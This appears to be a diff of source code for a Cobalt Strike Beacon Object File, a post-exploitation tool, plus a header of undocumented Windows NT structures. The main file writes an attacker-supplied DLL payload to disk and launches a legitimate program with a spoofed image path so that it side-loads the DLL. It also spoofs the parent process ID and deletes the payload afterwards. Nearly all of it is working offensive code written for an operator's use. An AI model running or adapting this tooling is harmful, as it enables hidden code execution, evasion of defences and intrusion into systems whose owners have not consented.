#define wcsrchr MSVCRT$wcsrchr
#define wcscmp MSVCRT$wcscmp
#define memcpy MSVCRT$memcpy
#define wcslen MSVCRT$wcslen
#define memmove MSVCRT$memmove
#define StrStrIW SHLWAPI$StrStrIW
+224
View File
@@ -0,0 +1,224 @@
#include "bofdefs.h"
#define STATUS_SUCCESS 0x00000000
BOOL IsProcessElevated() //Check to see if current process is elevated
{
HANDLE hToken = NULL;
TOKEN_ELEVATION elevation;
DWORD dwSize;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize);
CloseHandle(hToken);
return elevation.TokenIsElevated;
}
HANDLE find_process_by_name(const wchar_t* processname) //Find PID of specified process.
{
HANDLE hProcessSnap;
PROCESSENTRY32W pe32;
HANDLE hResult = NULL;
DWORD procSession = 0;
DWORD targetSession = 0;
BOOL highpriv = IsProcessElevated();
//Get session of calling process
ProcessIdToSessionId(GetCurrentProcessId(), &procSession);
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcessSnap) return(hResult);
pe32.dwSize = sizeof(PROCESSENTRY32W);
// Retrieve information about the first process and exit if unsuccessful
if (!Process32FirstW(hProcessSnap, &pe32))
{
CloseHandle(hProcessSnap); // clean the snapshot object
return(hResult);
}
do
{
if (0 == wcscmp((wchar_t*)processname, pe32.szExeFile))
{
//Get session of matching target process
ProcessIdToSessionId(pe32.th32ProcessID, &targetSession);
if((targetSession == procSession && !highpriv) || (targetSession == 0 && highpriv))
{
hResult = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, pe32.th32ProcessID);
if(hResult)
break;
}
}
} while (Process32NextW(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return hResult;
}
void go(IN PCHAR Buffer, IN ULONG Length)
{
datap parser;
BeaconDataParse(&parser, Buffer, Length);
int dllLen;
HANDLE hParent = NULL;
wchar_t hijacklocation[MAX_PATH] = {0};
wchar_t dllpath[MAX_PATH] = {0};
//Extract beacon args
char* dllpayload = BeaconDataExtract(&parser, &dllLen);
wchar_t* dllname = (wchar_t*)BeaconDataExtract(&parser, NULL);
wchar_t* program = (wchar_t*)BeaconDataExtract(&parser, NULL);
wchar_t* commandlineargs = (wchar_t*)BeaconDataExtract(&parser, NULL);
wchar_t* writablefolder = (wchar_t*)BeaconDataExtract(&parser, NULL);
wchar_t* parentname = (wchar_t*)BeaconDataExtract(&parser, NULL);
//Retrieve a handle to parent process for PPID spoofing if one was supplied
if(wcslen(parentname) > 0)
{
hParent = find_process_by_name(parentname);
if(!hParent)
{
BeaconPrintf(CALLBACK_OUTPUT, "Failed to find a %ls process that can be used for PPID spoofing. Aborting", parentname);
return;
}
}
//If no string was sent for hijacklocation (or a '.' placeholder), we are going to try and write to the current working directory
if(wcslen(writablefolder) == 0 || wcscmp(writablefolder, L".\\") == 0)
{
if(GetCurrentDirectoryW(MAX_PATH, hijacklocation) == 0)
{
BeaconPrintf(CALLBACK_ERROR, "Failed to retrieve current directory");
return;
}
else
wcscat_s(hijacklocation, MAX_PATH, L"\\");
}
//Otherwise just copy writable location string into hijacklocation
else
wcscat_s(hijacklocation, MAX_PATH, writablefolder);
//Assemble dllpath
swprintf_s(dllpath, MAX_PATH, L"%ls%ls", hijacklocation, dllname);
//Try and create DLL on disk. CREATE_NEW flag so we aren't at risk of deleting the real DLL if we happen to be in the same dir
HANDLE hFile = CreateFileW(dllpath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
//If file creation succeeds, write DLL payload to disk
if(hFile != INVALID_HANDLE_VALUE)
{
DWORD bytesWritten;
WriteFile(hFile, dllpayload, dllLen, &bytesWritten, NULL);
CloseHandle(hFile);
}
else
{
BeaconPrintf(CALLBACK_ERROR, "Cannot write DLL to disk! Do you have write permissions for %ls?", hijacklocation);
return;
}
// Path to the image file from which the process will be created
UNICODE_STRING NtImagePath;
UNICODE_STRING SpoofedPath;
UNICODE_STRING CommandLine;
UNICODE_STRING CurrentDirectory;
//Convert program name to NtPathName
if (!RtlDosPathNameToNtPathName_U(program, &NtImagePath, NULL, NULL))
{
BeaconPrintf(CALLBACK_OUTPUT, "\nError: Unable to convert path name\n");
goto cleanup;
}
//Parse out program name and increment pointer by one to skip the leading backslash
wchar_t *procname = wcsrchr(program, L'\\') + 1;
//We are going to parse through supplied program and find + replace sysnative with system32 if it exists
//Sysnative is required in order to spawn x64 process from x86, but we want the commandline and current directory to reflect system32 not sysnative
wchar_t clprogram[MAX_PATH] = {0};
wchar_t* find = L"sysnative";
wchar_t* replace = L"System32";
memcpy(clprogram, program, wcslen(program) * sizeof(wchar_t));
wchar_t *p = StrStrIW(clprogram, find);
if (p != NULL) {
size_t len1 = wcslen(find);
size_t len2 = wcslen(replace);
if (len1 != len2)
memmove(p + len2, p + len1, (wcslen(p + len1) * sizeof(wchar_t)) + 1);
memcpy(p, replace, len2 * sizeof(wchar_t));
}
//Assemble spoofed path for process parameters
wchar_t spath[MAX_PATH] = {0};
swprintf_s(spath, MAX_PATH, L"%ls%ls", hijacklocation, procname);
RtlInitUnicodeString(&SpoofedPath, spath);
//Assemble commandline args for process parameters
wchar_t cline[MAX_PATH] = {0};
swprintf_s(cline, MAX_PATH, L"%ls%ls", clprogram, commandlineargs);
RtlInitUnicodeString(&CommandLine, cline);
//Assemble current directory for process parameters
wchar_t currdir[MAX_PATH] = {0};
memcpy(currdir, clprogram, (wcslen(clprogram) - wcslen(procname)) * sizeof(wchar_t));
RtlInitUnicodeString(&CurrentDirectory, currdir);
/* BeaconPrintf(CALLBACK_OUTPUT, "Unicode ntimagepath buffer is: %ls", NtImagePath.Buffer);
BeaconPrintf(CALLBACK_OUTPUT, "Unicode path buffer is: %ls", SpoofedPath.Buffer);
BeaconPrintf(CALLBACK_OUTPUT, "Unicode commandline buffer is: %ls", CommandLine.Buffer);
BeaconPrintf(CALLBACK_OUTPUT, "Unicode currdir buffer is: %ls", CurrentDirectory.Buffer); */
// Create the process parameters
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
RTL_USER_PROCESS_INFORMATION ProcessInfo;
//Create parameters
NTSTATUS ntresult = RtlCreateProcessParameters(&ProcessParameters, &SpoofedPath, NULL, &CurrentDirectory, &CommandLine, NULL, NULL, NULL, NULL, NULL);
if(ntresult != STATUS_SUCCESS)
{
BeaconPrintf(CALLBACK_OUTPUT, "RtlCreateProcessParameters failed: %X. Cleaning up and aborting.", ntresult);
goto cleanup;
}
//Create process
ntresult = RtlCreateUserProcess(&NtImagePath, OBJ_CASE_INSENSITIVE, ProcessParameters, NULL, NULL, hParent, FALSE, NULL, NULL, &ProcessInfo);
if(ntresult != STATUS_SUCCESS)
{
BeaconPrintf(CALLBACK_OUTPUT, "RtlCreateUserProcess failed: %X. Cleaning up and aborting.", ntresult);
goto cleanup;
}
//Resume thread in process
NtResumeThread(ProcessInfo.Thread, NULL);
BeaconPrintf(CALLBACK_OUTPUT, "Successfully spawned %ls with PID %d\n", procname, GetProcessId(ProcessInfo.Process));
cleanup:
//Cleanup handles and process parameters
if(ProcessParameters)
RtlDestroyProcessParameters(ProcessParameters);
if(ProcessInfo.Thread)
CloseHandle(ProcessInfo.Thread);
if(ProcessInfo.Thread)
CloseHandle(ProcessInfo.Process);
if(hParent)
CloseHandle(hParent);
//Wait a few seconds and then check to see if DLL payload still exists + inform operator if so
Sleep(5000);
if(GetFileAttributesW(dllpath) == INVALID_FILE_ATTRIBUTES)
BeaconPrintf(CALLBACK_OUTPUT, "%ls was successfully deleted from disk!", dllpath);
else
{
if(DeleteFileW(dllpath))
BeaconPrintf(CALLBACK_OUTPUT, "%ls was successfully deleted from disk!", dllpath);
else
BeaconPrintf(CALLBACK_ERROR, "%ls was not successfully deleted! You'll need to manually clean it up.", dllpath);
}
}
+132
View File
@@ -0,0 +1,132 @@
#pragma once
#include <windows.h>
#define RTL_MAX_DRIVE_LETTERS 32
#define OBJ_CASE_INSENSITIVE 0x00000040L
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef const UNICODE_STRING* PCUNICODE_STRING;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _RTL_DRIVE_LETTER_CURDIR
{
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _SECTION_IMAGE_INFORMATION
{
PVOID TransferAddress; // Entry point
ULONG ZeroBits;
SIZE_T MaximumStackSize;
SIZE_T CommittedStackSize;
ULONG SubSystemType;
union
{
struct
{
USHORT SubSystemMinorVersion;
USHORT SubSystemMajorVersion;
} s1;
ULONG SubSystemVersion;
} u1;
union
{
struct
{
USHORT MajorOperatingSystemVersion;
USHORT MinorOperatingSystemVersion;
} s2;
ULONG OperatingSystemVersion;
} u2;
USHORT ImageCharacteristics;
USHORT DllCharacteristics;
USHORT Machine;
BOOLEAN ImageContainsCode;
union
{
UCHAR ImageFlags;
struct
{
UCHAR ComPlusNativeReady : 1;
UCHAR ComPlusILOnly : 1;
UCHAR ImageDynamicallyRelocated : 1;
UCHAR ImageMappedFlat : 1;
UCHAR BaseBelow4gb : 1;
UCHAR ComPlusPrefer32bit : 1;
UCHAR Reserved : 2;
} s3;
} u3;
ULONG LoaderFlags;
ULONG ImageFileSize;
ULONG CheckSum;
} SECTION_IMAGE_INFORMATION, * PSECTION_IMAGE_INFORMATION;
typedef struct _CURDIR
{
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, * PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PWCHAR Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
ULONG_PTR EnvironmentSize;
ULONG_PTR EnvironmentVersion;
PVOID PackageDependencyData;
ULONG ProcessGroupId;
ULONG LoaderThreads;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _RTL_USER_PROCESS_INFORMATION
{
ULONG Length;
HANDLE Process;
HANDLE Thread;
CLIENT_ID ClientId;
SECTION_IMAGE_INFORMATION ImageInformation;
} RTL_USER_PROCESS_INFORMATION, * PRTL_USER_PROCESS_INFORMATION;